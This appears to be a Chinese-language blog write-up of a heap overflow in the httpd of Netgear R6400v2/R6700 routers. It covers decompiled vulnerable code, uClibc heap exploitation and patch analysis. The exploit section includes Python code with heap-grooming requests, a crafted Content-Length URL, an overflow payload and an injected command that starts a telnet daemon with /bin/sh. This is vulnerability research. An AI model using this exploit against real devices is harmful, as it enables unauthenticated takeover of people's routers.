Netgear R6400v2 堆溢出漏洞分析与利用

发表于 2021-03-19 更新于 2023-02-10 分类于 IoT ，漏洞评论：

漏洞简介

2020年6月，ZDI发布了一个关于Netgear R6700型号设备上堆溢出漏洞的安全公告，随后又发布了一篇关于该漏洞的博客，其中对该漏洞进行了详细分析，并给出了完整的漏洞利用代码。该漏洞存在于对应设备的httpd组件中，在处理配置文件上传请求时，由于对请求内容的处理不当，在后续申请内存空间时存在整数溢出问题，从而造成堆溢出问题。攻击者利用这一漏洞可以在目标设备上实现代码执行，且无需认证。

此前，关于IoT设备上公开的带完整漏洞利用的堆溢出漏洞比较少(好像公开的堆溢出漏洞就不多…)，正好手边有一个R6400v2型号的设备，因此打算分析一下该漏洞，了解漏洞利用的思路，并尝试基于R6400v2型号设备实现漏洞利用。

漏洞分析

根据Netgear官方的安全公告，针对R6400v2型号设备，版本v1.0.4.84及其之前版本受该漏洞影响，在之后的版本中修复了该漏洞，因此选择v1.0.4.84版本来对该漏洞进行分析。

ZDI的博客中已经对该漏洞进行了分析，故这里简单说明下。该漏洞存在于httpd组件的http_d()函数中，在处理配置文件上传请求时(接口为"/backup.cgi")，在(1)处会调用recv()读取数据，第一次读取完数据后，程序流程会到达(2)处，对请求头中的部分字段进行判断。之后会再次调用recv()读取数据，之后程序流程会到达(3)处。之后在(4)处计算请求头中"Content-Length"字段对应的值，基于该值，在(5)处计算实际的文件内容长度。在(6)处会根据计算得到的文件内容大小申请内存空间，在(7)处调用memcpy()进行拷贝。

存在该漏洞的原因在于，在计算请求头中"Content-Length"字段对应的值时，通过调用stristr(s1, "Content-Length: ")来定位其位置，当在请求url中包含"Content-Length: "时，可使得计算的值错误，从而影响后续申请的堆块大小。通过伪造合适的"Content-Length: xxx"，可造成后续在调用memcpy()时出现堆溢出。该漏洞的发现者d4rkn3ss给出的请求url为"/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559"。

同样，由于在R6400v2设备上存在nginx代理，nginx会保证请求头中的Content-Length对应的值与请求体的内容长度相等，故无法通过直接伪造原始请求头中的Content-Length触发。

int http_d(int a1)
{
  // ...
  if ( v248.s_addr ) {
    // ...
    while ( 1 ) {
      while ( 1 ) {
        while ( 1 ) {
          while ( 1 ) {
            do
            {
              // ...
              if ( (((unsigned int)v223[0].__fds_bits[(unsigned int)dword_F253F4 >> 5] >> (dword_F253F4 & 0x1F)) & 1) != 0
                || (v92 = dword_1994EC) != 0 )
              {
                var_recv_len = my_read(dword_F253F4, &recv_buf, 0x400u); // (1) recv(), 请求过长的话会被调用多次
                // ...
              }
              v152 = v198;
              goto LABEL_395;
            }
            while ( var_recv_len == -2 );
            if ( v150 )
              break;
            v144 = var_recv_len + var_offset;
            if ( (int)(var_recv_len + var_offset) >= 0x10000 )
            {
              // ...
            }
            else
            {
              memcpy(&s1[var_offset], &recv_buf, var_recv_len);     // (2)
              s1[v144] = 0;
              if ( stristr(s1, "Content-Disposition:") && stristr(s1, "Content-Length: ") && stristr(s1, "upgrade_check.cgi")
                && (stristr(s1, "Content-Type: application/octet-stream") || stristr(s1, "MSIE 10"))
                || stristr(s1, "Content-Disposition:") && stristr(s1, "Content-Length: ") && stristr(s1, "backup.cgi")
                || stristr(s1, "Content-Disposition:") && stristr(s1, "Content-Length: ")&& stristr(s1, "genierestore.cgi") )
              {
                // ...
                goto LABEL_356;
              }
              // ...
LABEL_356:
                v150 = 1; goto LABEL_357;
              }
              // ...
            }
            //...
        }
        // ...
        v107 = stristr(s1, "name=\"mtenRestoreCfg\"");      // (3)
        if ( v107 && (v108 = stristr(v107, "\r\n\r\n")) != 0 )
        {
          v109 = v108 + 4;                      // 指向文件内容
          v102 = v108 + 4 - (_DWORD)s1;         // post请求部分除文件内容之外其他部分的长度
          v110 = stristr(s1, "Content-Length: ");// 没有考虑其位置,可以在url中伪造,进而造成后续出现堆溢出
          if ( !v110 )
            goto LABEL_286;
          v111 = v110 + 15;
          v112 = stristr(v110 + 16, "\r\n") - (v110 + 16);
          v105 = 0;
          for ( i = 0; i < v112; ++i )          // (4) Content-Length对应的值
          {
            v114 = *(char *)++v111;
            v105 = v114 - '0' + 10 * v105;
          }
          if ( v105 > 0x20017 )                 // post data部分的长度
          {
            v105 = stristr(s1, "\r\n\r\n") + v105 + 4 - v109;// (5) 计算文件内容的长度, 由于v105是伪造的, 故计算得到的结果会有问题
            goto LABEL_287;
          }
          // ...
        }
        else
        {
          // ...
LABEL_287:
          // ...
          if ( dword_1A870C )
          {
            free((void *)dword_1A870C);
            dword_1A870C = 0;
          }
          sub_2F284((int *)&v224);
          dword_1A870C = (int)malloc(v105 + 0x258);     // (6)
          if ( dword_1A870C || ...)
          {
            memset((void *)dword_1A870C, 0x20, v105 + 0x258);
            v203=var_offset-v102; // 对于超长请求, var_offset最大值位0x800(只会触发recv() 2次)
            memcpy((void *)dword_1A870C, &s1[v102], var_offset-v102);// (7) heap overflow
            // ...

漏洞利用

原始方法

ZDI的博客中也给出了漏洞的上下文以及利用思路，这里进行简单概括。关于该漏洞的上下文如下：

可以往堆上写任意的数据，包括'\x00'
ASLR 等级为1，因此堆空间的起始地址是固定的
该设备使用的是uClibc，相当于一个简化版的glibc，其关于堆的检查条件比glibc中宽松很多
在实现堆溢出之后，fopen()函数会被调用，其中会分别调用malloc(0x60)和malloc(0x1000)，之后也会调用free()进行释放。堆块的申请与释放先后顺序如下：
1
free(dword_1A870C) -> dword_1A870C = malloc(<controllable_size>) -> free(malloc(0x60)) -> free(malloc(0x1000))
通过请求接口"/strtblupgrade.cgi"，可以实现任意大小的堆块申请与释放：free(malloc(<controllable_size>))

d4rkn3ss利用fastbin dup attack的思路来进行漏洞利用，即通过破坏堆的状态，使得后续的malloc()返回指定的地址，由于可以往该地址写任意内容(write-what-where)，故可以通过覆盖got表项的方式实现任意代码执行。但是前面提到，在实现堆溢出之后，在fopen()内会调用malloc(0x1000)，其会触发__malloc_consolidate()，从而破坏已有的fastbin，因此需要先解决__malloc_consolidate()的问题。

在uClibc中的free()函数内，在释放fastbin时存在越界写问题，而在malloc_state结构体中，max_fast变量正好在fastbins数组前，通过越界写可以实现修改max_fast变量的目的。当max_fast变量被改成一个很大的值后，后续再调用malloc(0x1000)时便不会触发__malloc_consolidate()，从而可以执行fastbin dup attack。

void free(void* mem)
{
    // ...
    /*
       If eligible, place chunk on a fastbin so it can be found
       and used quickly in malloc.
       */

    if ((unsigned long)(size) <= (unsigned long)(av->max_fast)

#if TRIM_FASTBINS
	    /* If TRIM_FASTBINS set, don't place chunks
	       bordering top into fastbins */
	    && (chunk_at_offset(p, size) != av->top)
#endif
       ) {

	set_fastchunks(av);
	fb = &(av->fastbins[fastbin_index(size)]);	// out-of-bounds write
	p->fd = *fb;
	*fb = p;
    }
    // ...

struct malloc_state {

  /* The maximum chunk size to be eligible for fastbin */
  size_t  max_fast;   /* low 2 bits used as flags */

  /* Fastbins */
  mfastbinptr      fastbins[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr        top;

  /* The remainder from the most recent split of a small request */
  mchunkptr        last_remainder;
  // ...

综上，漏洞利用的过程如下：

通过堆溢出修改下一个空闲块的prev_size字段和size字段，填充合适的prev_size值，并使得PREV_INUSE标志位为0；
之后在触发__malloc_consolidate()时，会对该fastbin进行后向合并，因此需要保证能根据伪造的prev_size找到前面的某个空闲块，否则unlink时会报错
通过/strtblupgrade.cgi接口申请一个合适大小的堆块，该堆块会与上面已分配的堆块重叠，从而可以修改上面堆块的大小为0x8；
在上一步__malloc_consolidate()后，由于堆块的后向合并，故会存在一个空闲的堆块与已分配的堆块重叠
释放上面已分配的堆块，在将其放入fastbins数组中时，会出现越界写，从而将max_fast修改为一个很大的值；
max_fast被修改为一个很大的值后，调用mallco(0x1000)时就不会触发__malloc_consolidate()，之后就可以执行fastbin dup attack
再次通过堆溢出覆盖下一个空闲块，修改其fd指针为free()的got地址(准确来说为free_got_addr - offset)；
连续申请2个合适的堆块，返回的第2个堆块的地址指向free()的got表项，通过向堆块中写入数据，将其修改为system()的plt地址；
当释放第2个堆块时，执行free()将调用system()，同时其参数指向构造的payload，从而实现代码执行。

H4lo师傅提供了另外的思路来进行漏洞利用，具体可参考这里

“意外”方法

基于上述思路，在R6400v2设备上进行漏洞利用时发现存在如下问题：

通过malloc(0x30) -> malloc(0x40) -> malloc(0x30)方式进行堆布局时，得到的两个堆块之间的偏移比较小，但是由于返回的堆地址比较小，在后续触发__malloc_consolidate()对空闲堆块进行后向合并时，往前找不到合适的空闲堆块，无法进行堆块合并。尝试通过分配不同的堆块大小、以及发送不同的请求等方式，均无法得到满足条件的堆块。
通过malloc(0x20) -> malloc(0x10) -> malloc(0x20)方式进行堆布局时，得到的两个堆块之间的偏移比较大(超过0x470)，按照d4rkn3ss提供的漏洞利用代码，好像无法实现溢出来覆盖下一个堆块。

由于多次尝试第一种方式均失败，只能寄希望于第二种方式。由于触发漏洞的接口为"/backup.cgi"(配置文件上传接口)，按理来说上传的配置文件可以比较大，故该接口应该可以处理较长的请求，但当文件内容长度超过0x400时却无法溢出。通过对该请求的处理流程进行分析发现，要通过该接口触发漏洞，整个请求的长度要在0x400~0x800之间，如下：

该请求必须触发2次recv() ，即对应请求长度必须>0x400，否则无法到达漏洞点处；
该请求只会触发2次recv()，当对应请求长度>0x800，过长的内容会被截断，后续拷贝时无法造成溢出。

在d4rkn3ss提供的漏洞利用脚本中，可以看到在请求头中有一个'a'*0x200的占位符，同时make_filename()也有一个类似的占位符，因此实际可上传的配置文件大小约为0x2c0左右，故当两个堆块之间的偏移超过0x400时无法造成堆溢出。解决方式很简单，当要上传大文件时，去掉占位符'a'*0x200即可。

def make_filename(chunk_size):
    return 'a' * (0x1d7 - chunk_size)

def exploit():
    path = '/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559'
    headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': d4rkn3ss']

在解决了该问题后，打算按照原来的思路进行利用，可能存在的一些问题如下：

两个堆块之间的偏移约为0x470，而且不相邻，在溢出覆盖目标空闲堆块时是否会破坏其他结构?
溢出到目标空闲堆块后，在触发__malloc_consolidate()对该空闲堆块进行后向合并时，后向偏移约为0x24e0，通过/strtblupgrade.cgi接口申请合适大小的堆块，利用该堆块修改上面已分配堆块的size字段，是否会破坏其他结构？

经过测试，发现和预期不太一致：通过/strtblupgrade.cgi接口申请的堆地址在前面合并的空闲堆块地址之前，同时，此时的$PC已经被填充的payload控制了，直接实现了劫持控制流的目的。如下，可以看到$PC的值来自于填充的内容，同时部分寄存器如$R4也指向填充的payload。因此，只需要找到合适的rop gadgets，构造合适的payload，即可实现代码执行。

根据backtrace信息，查看uClibc中函数__stdio_WRITE()的源码，如下。在__stdio_WRITE()中，正常情况下是通过宏_WRITE来调用__gcs.write()函数，但经过上述操作后，STREAMPTR指向了填充的payload，从而可以控制(STREAMPTR)->__gcs.write。经过调试暂时未定位到修改STREAMPTR的地方(在下断点进一步分析时，有时貌似无法复现… 暂时未想到其他方式来定位)，感兴趣的可以试试。

// in _WRITE.c
size_t attribute_hidden __stdio_WRITE(register FILE *stream,
					 register const unsigned char *buf, size_t bufsize)
{
	size_t todo;
	ssize_t rv, stodo;

	__STDIO_STREAM_VALIDATE(stream);
	assert(stream->__filedes >= -1);
	assert(__STDIO_STREAM_IS_WRITING(stream));
	assert(!__STDIO_STREAM_BUFFER_WUSED(stream)); /* Buffer must be empty. */

	todo = bufsize;

	while (todo != 0) {
		stodo = (todo <= SSIZE_MAX) ? todo : SSIZE_MAX;
		rv = __WRITE(stream, (char *) buf, stodo);		// <===
        // ...

// _stdio.h 
#define __WRITE(STREAMPTR,BUF,SIZE) \
	((((STREAMPTR)->__gcs.write) == NULL) ? -1 : \
	(((STREAMPTR)->__gcs.write)((STREAMPTR)->__cookie,(BUF),(SIZE))))

综上，上述思路的主要过程如下。需要说明的是，在未访问设备Web后台(比如重启设备后)和访问Web后台后，调用malloc(0x8)返回的堆块地址不太一致(存在0x10的偏移)，使得下列过程不太稳定(不适用于访问过Web后台的情形)，建议重启设备后测试。本来想通过触发__malloc_consolidate()来使得堆块状态一致，但好像不起作用…

colorlight师傅建议通过先多次发送登录请求(错误的认证即可)，当响应的状态码为200时，可使得两种情形下的堆状态一致，但测试后发现针对上述情形似乎仍然无效 …

# XXX: useless??? use __malloc_consolidate() to make the heap consistent
print '[+] malloc 0x38 chunk'
f = copy.deepcopy(files)
f['filename'] = make_filename(0x38)
post_request(path, headers, f)

print '[+] malloc 0x20 chunk'
# r0 0x1033ba0 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x20)
post_request(path, headers, f)

print '[+] malloc 0x8 chunk'
# 0x103400c ◂— 0x10
# r0 0x1034010 <-- return here          # TODO: how to make it stable (0x1034010/0x1034020)
f = copy.deepcopy(files)
f['filename'] = make_filename(0x8)
post_request(path, headers, f)

print '[+] malloc 0x20 chunk'
# r0 0x1033ba0 <-- return here
headers = ['Host: %s:%s' % (rhost, rport)]  # remove `'a'*0x200 + ': d4rkn3ss'`
f = copy.deepcopy(files)
f['filename'] = make_filename(0x20)
f['filecontent'] = 'a' * 0x468 + p32(0x24e0) + p32(0x10)    # offset: 0x470
post_request(path, headers, f)

print '[+] malloc 0x2080 chunk and try to overwrite size of 0x28 chunk -> 0x9.'
# r0 0x1031ac8 <-- return here
# ...
# 0x1031b20     # consolidated free chunk
# ...
# r0 0x1033ba0
# ...
# 0x103400c ◂— 0x10
# r0 0x1034010
malloc_size = 0x2080        # a large value is ok, not need to be precise in this case
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100

# hijack $PC in __stdio_WRITE()
system_gadget = 0xF3C8
cmd = 'utelnetd -d         -l /bin/sh'.ljust(32, '\x00')    # changed to "utelnetd -d      -d -l /bin/sh"
payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaulaaumaaunaauoaaupaauqaauraausaautaauuaauvaauwaauxaauyaauzaavbaavcaavdaaveaavfaavgaavhaaviaavjaavkaavlaavmaavnaavoaavpaavqaavraavsaavtaavuaavvaavwaavxaavyaavzaawbaawcaawdaaweaawfaawgaawhaawiaawjaawkaawlaawmaawnaawoaawpaawqaawraawsaawtaawuaawvaawwaawxaawyaawzaaxbaaxcaaxdaaxeaaxfaaxgaaxhaaxiaaxjaaxkaaxlaaxmaaxnaaxoaaxpaaxqaaxraaxsaaxtaaxuaaxvaaxwaaxxaaxyaaxzaaybaaycaaydaayeaayfaaygaayhaayiaayjaaykaaylaaymaaynaayoaaypaayqaayraaysaaytaayuaayvaaywaayxaayyaayzaazbaazcaazdaazeaazfaazgaazhaaziaazjaazkaazlaazmaaznaazoaazpaazqaazraazsaaztaazuaazvaazwaazxaazyaazzababacabadabaeabafabagabahabaiabajabakabalabamabanabaoabapabaqabarabasabatabauabavabawabaxabayabazabbbabbcabbdabbeabbfabbgabbhabbiabbjabbkabblabbmabbnabboabbpabbqabbrabbsabbtabbuabbvabbwabbxabbyabbzabcbabccabcdabceabcfabcgabchabciabcjabckabclabcmabcnabcoabcpabcqabcrabcsabctabcuabcvabcwabcxabcyabczabdbabdcabddabdeabdfabdgabdhabdiabdjabdkabdlabdmabdnabdoabdpabdqabdrabdsabdtabduabdvabdwabdxabdyabdzabebabecabedabeeabefabegabehabeiabejabekabelabemabenabeoabepabeqaberabesabetabeuabevabewabexabeyabezabfbabfcabfdabfeabffabfgabfhabfiabfjabfkabflabfmabfnabfoabfpabfqabfrabfsabftabfuabfvabfwabfxabfyabfzabgbabgcabgdabgeabgfabggabghabgiabgjabgkabglabgmabgnabgoabgpabgqabgrabgsabgtabguabgvabgwabgxabgyabgzabhbabhcabhdabheabhfabhgabhhabhiabhjabhkabhlabhmabhnabhoabhpabhqabhrabhsabhtabhuabhvabhwabhxabhyabhzabibabicabidabieabifabigabihabiiabijabikabilabimabinabioabipabiqabirabisabitabiuabivabiwabixabiyabizabjbabjcabjdabjeabjfabjgabjhabjiabjjabjkabjlabjmabjnabjoabjpabjqabjrabjsabjtabjuabjvabjwabjxabjyabjzabkbabkcabkdabkeabkfabkgabkhabkiabkjabkkabklabkmabknabkoabkpabkqabkrabksabktabkuabkvabkwabkxabkyabkzablbablcabldableablfablgablhabliabljablkabllablmablnabloablpablqablrablsabltabluablvablwablxablyablzabmbabmcabmdabmeabmfabmgabmhabmiabmjabmkabmlabmmabmnabmoabmpabmqabmrabmsabmtabmuabmvabmwabmxabmyabmzabnbabncabndabneabnfabngabnhabniabnjabnkabnlabnmabnnabnoabnpabnqabnrabnsabntabnuabnvabnwabnxabnyabnzabobabocabodaboeabofabogabohaboiabojabokabolabomabonabooabopaboqaborabosabotabouabovabowaboxaboyabozabpbabpcabpdabpeabpfabpgabphabpiabpjabpkabplabpmabpnabpoabppabpqabprabpsabptabpuabpvabpwabpxabpyabpzabqbabqcabqdabqeabqfabqgabqhabqiabqjabqkabqlabqmabqnabqoabqpabqqabqrabqsabqtabquabqvabqwabqxabqyabqzabrbabrcabrdabreabrfabrgabrhabriabrjabrkabrlabrmabrnabroabrpabrqabrrabrsabrtabruabrvabrwabrxabryabrzabsbabscabsdabseabsfabsgabshabsiabsjabskabslabsmabsnabsoabspabsqabsrabssabstabsuabsvabswabsxabsyabszabtbabtcabtdabteabtfabtgabthabtiabtjabtkabtlabtmabtnabtoabtpabtqabtrabtsabttabtuabtvabtwabtxabtyabtzabubabucabudabueabufabugabuhabuiabujabukabulabumabunabuoabupabuqaburabusabutabuuabuvabuwabuxabuyabuzabvbabvcabvdabveabvfabvgabvhabviabvjabvkabvlabvmabvnabvoabvpabvqabvrabvsabvtabvuabvvabvwabvxabvyabvzabwbabwcabwdabweabwfabwgabwhabwiabwjabwkabwlabwmabwnabwoabwpabwqabwrabwsabwtabwuabwvabwwabwxabwyabwzabxbabxcabxdabxeabxfabxgabxhabxiabxjabxkabxlabxmabxnabxoabxpabxqabxrabxsabxtabxuabxvabxwabxxabxyabxzabybabycabydabyeabyfabygabyhabyiabyjabykabylabymabynabyoabypabyqabyrabysabytabyuabyvabywabyxabyyabyzabzbabzcabzdabzeabzfabzgabzhabziabzjabzkabzlabzmabznabzoabzpabzqabzrabzsabztabzuabzvabzwabzxabzyabzzacacadacaeacafacagacahacaiacajacakacalacamacanacaoacapacaqacaracasacatacauacavacawacaxacayacazacbbacbcacbdacbeacbfacbgacbhacbiacbjacbkacblacbmacbnacboacbpacbqacbracbsacbtacbuacbvacbwacbxacbyacbzaccbacccaccdacceaccfaccgacchacciaccjacckacclaccmaccnaccoaccpaccqaccraccsacctaccuaccvaccwaccxaccyacczacdbacdcacddacdeacdfacdgacdhacdiacdjacdkacdlacdmacdnacdoacdpacdqacdracdsacdtacduacdvacdwacdxacdyacdzacebacecacedaceeacefacegacehaceiacejacekacelacemacenaceoacepaceqaceracesacetaceuacevacewacexaceyacezacfbacfcacfdacfeacffacfgacfhacfiacfjacfkacflacfmacfnacfoacfpacfqacfracfsacftacfuacfvacfwacfxacfyacfzacgbacgcacgdacgeacgfacggacghacgiacgjacgkacglacgmacgnacgoacgpacgqacgracgsacgtacguacgvacgwacgxacgyacgzachbachcachdacheachfachgachhachiachjachkachlachmachnachoachpachqachrachsachtachuachvachwachxachyachzacibacicacidacieacifacigacihaciiacijacikacilacimacinacioacipaciqaciracisacitaciuacivaciwacixaciyacizacjbacjcacjdacjeacjfacjgacjhacjiacjjacjkacjlacjmacjnacjoacjpacjqacjracjsacjtacjuacjvacjwacjxacjyacjzackbackcackdackeackfackgackhackiackjackkacklackmacknackoackpackqackracksacktackuackvackwackxackyackzaclbaclcacldacleaclfaclgaclhacliacljaclkacllaclmaclnacloaclpaclqaclraclsacltacluaclvaclwaclxaclyaclzacmbacmcacmdacmeacmfacmgacmhacmiacmjacmkacmlacmmacmnacmoacmpacmqacmracmsacmtacmuacmvacmwacmxacmyacmzacnbacncacndacneacnfacngacnhacniacnjacnkacnlacnmacnnacnoacnpacnqacnracnsacntacnuacnvacnwacnxacnyacnzacobacocacodacoeacofacogacohacoiacojacokacolacomaconacooacopacoqacoracosacotacouacovacowacoxacoyacozacpbacpcacpdacpeacpfacpgacphacpiacpjacpkacplacpmacpnacpoacppacpqacpracpsacptacpuacpvacpwacpxacpyacpzacqbacqcacqdacqeacqfacqgacqhacqiacqjacqkacqlacqmacqnacqoacqpacqqacqracqsacqtacquacqvacqwacqxacqyacqzacrbacrcacrdacreacrfacrgacrhacriacrjacrkacrlacrmacrnacroacrpacrqacrracrsacrtacruacrvacrwacrxacryacrzacsbacscacsdacseacsfacsgacshacsiacsjacskacslacsmacsnacsoacspacsqacsracssacstacsuacsvacswacsxacsyacszactbactcactdacteactfactgacthactiactjactkactlactmactnactoactpactqactractsacttactuactvactwactxactyactzacubacucacudacueacufacugacuhacuiacujacukaculacumacunacuoacupacuqacuracusacutacuuacuvacuwacuxacuyacuzacvbacvcacvdacveacvfacvgacvhacviacvjacvkacvlacvmacvnacvoacvpacvqacvracvsacvtacvuacvvacvwacvxacvyacvzacwbacwcacwdacweacwfacwgacwhacwiacwjacwkacwlacwmacwnacwoacwpacwqacwracwsacwtacwuacwvacwwacwxacwyacwzacxbacxcacxdacxeacxfacxgacxhacxiacxjacxkacxlacxmacxnacxoacxpacxqacxracxsacxtacxuacxvacxwacxxacxyacxzacybacycacydacyeacyfacygacyhacyiacyjacykacylacymacynacyoacypacyqacyracysacytacyuacyvacywacyxacyyacyzaczbaczcaczdaczeaczfaczgaczhacziaczjaczkaczlaczmacznaczoaczpaczqaczraczsacztaczuaczvaczwaczxaczyaczzadadaeadafadagadahadaiadajadakadaladamadanadaoadapadaqadaradasadatadauadavadawadaxadayadazadbbadbcadbdadbeadbfadbgadbhadbiadbjadbkadbladbmadbnadboadbpadbqadbradbsadbtadbuadbvadbwadbxadbyadbzadcbadccadcdadceadcfadcgadchadciadcjadckadcladcmadcnadcoadcpadcqadcradcsadctadcuadcvadcwadcxadcyadczaddbaddcadddaddeaddfaddgaddhaddiaddjaddkaddladdmaddnaddoaddpaddqaddraddsaddtadduaddvaddwaddxaddyaddzadebadecadedadeeadefadegadehadeiadejadekadelademadenadeoadepadeqaderadesadetadeuadevadewadexadeyadezadfbadfcadfdadfea'

payload_offset = payload.index("baaz")
payload = payload.replace(payload[payload_offset+0x24:payload_offset + 0x24 +4], p32(system_gadget))
payload = payload.replace(payload[payload_offset:payload_offset+32], cmd)

f['filecontent'] = p32(malloc_size).ljust(0x10) + payload + p32(0x9)
post_request('/strtblupgrade.cgi.css', headers, f)

补丁分析

以R6400v2-V1.0.4.98_10.0.71版本为例，在http_d()函数中存在一处变更如下：在定位到"Content-Length: "后判断其前一个字符是否为'\n'，应该是对该漏洞的修复。

小结

本文基于R6400v2型号设备，对R6700设备上的堆溢出漏洞进行了分析，并重点介绍了漏洞利用的思路。在参考原始思路实现漏洞利用的过程中，”意外”发现了另一种方式可直接劫持控制流。当然，由于不同设备上的堆布局可能不太一致，这种方式可能不具普适性(甚至带有一点运气的成分…)，而原始的利用思路则比较通用。